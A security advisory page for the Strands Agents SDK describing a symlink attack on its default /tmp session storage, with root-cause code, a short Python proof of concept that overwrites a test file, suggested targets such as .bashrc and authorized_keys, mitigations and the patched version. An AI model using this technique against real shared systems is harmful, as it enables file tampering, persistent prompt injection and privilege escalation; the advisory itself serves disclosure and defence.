GHSA-3w55-933p-8pv5High· 7.1▾ TwilightStrands Agents: Local Privilege Escalation via Symlink Attack in Default Session File Storage
▾ Twilight zone — High severity, or a signal on a lesser flaw
impact 39.1 · likelihood 0 · exploitation 0
Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.
The FileSessionManager defaults to storing session data in /tmp/strands/sessions/ (a world-writable directory) using predictable file paths and a write pattern (open(path + ".tmp", "w") → os.replace()) that follows symbolic links. A local attacker can exploit this to overwrite arbitrary files or inject malicious session data for persistent prompt injection.
Component: strands-py/src/strands/session/file_session_manager.py
Root Cause:
tempfile.gettempdir() + "/strands/sessions/" (line 58) — resolves to /tmp/strands/sessions/ on Linux/macOS_write_file() method (lines 116-123) writes to a predictable .tmp path without symlink protection:
tmp = f"{path}.tmp"
with open(tmp, "w", encoding="utf-8", newline="\n") as f:
json.dump(data, f, indent=2, ensure_ascii=False)
os.replace(tmp, path)
open() follows symlinks — a pre-placed symlink at the .tmp path causes writes to an arbitrary target file/tmp/strands/sessions/session_<id>/ (or monitors for new directories via inotify)session.json.tmp → /home/victim/.bashrc (or any writable file).ssh/authorized_keys, cron files, etc.)import os, json, tempfile, shutil
# Setup: simulate the vulnerable write pattern
session_dir = "/tmp/strands/sessions/session_test/"
os.makedirs(session_dir, exist_ok=True)
# Attacker: create symlink at the .tmp write path
target_file = "/tmp/symlink_attack_proof.txt"
with open(target_file, "w") as f:
f.write("ORIGINAL - should not be overwritten\n")
symlink_path = os.path.join(session_dir, "session.json.tmp")
if os.path.exists(symlink_path):
os.unlink(symlink_path)
os.symlink(target_file, symlink_path)
# Victim: FileSessionManager._write_file() equivalent
with open(symlink_path, "w", encoding="utf-8", newline="\n") as f:
json.dump({"session_id": "test", "injected": True}, f, indent=2)
# Verify: target file overwritten
with open(target_file) as f:
print(f"Target file content: {f.read()}")
# Output: {"session_id": "test", "injected": true}
# Cleanup
os.unlink(symlink_path)
os.unlink(target_file)
shutil.rmtree(session_dir)
~/.strands/sessions/ or $XDG_DATA_HOME/strands/sessions/ instead of /tmp/os.open() with O_NOFOLLOW | O_CREAT | O_WRONLY — refuses to follow symlinkstempfile.mkstemp() for atomic writes instead of predictable .tmp suffixstrands-agents < 1.48.0Upgrade to a patched release:
strands-agents 1.48.0Connected by shared product, vendor, weakness, or advisory.
GHSA-763v-5pjm-fx36MediumStrands Agents: Default FileSessionManager storage is world-readable on shared systems
CVE-2026-115419High· 8.1Strands Agents SDK: Exposure of data element to wrong session in the A2A Server
CVE-2026-114096High· 8.6Dulwich: Symlink write-through in checkout(paths=[]) via raw os.open bypasses all symlink protections
CVE-2026-113716Medium· 4.5virtualenv: Builtin creation follows linked environment directories
CVE-2026-113721Medium· 4.5virtualenv: Generated files can follow existing destination links
CVE-2026-113724Medium· 4.5virtualenv: Deletion recovery can change a symlink target's mode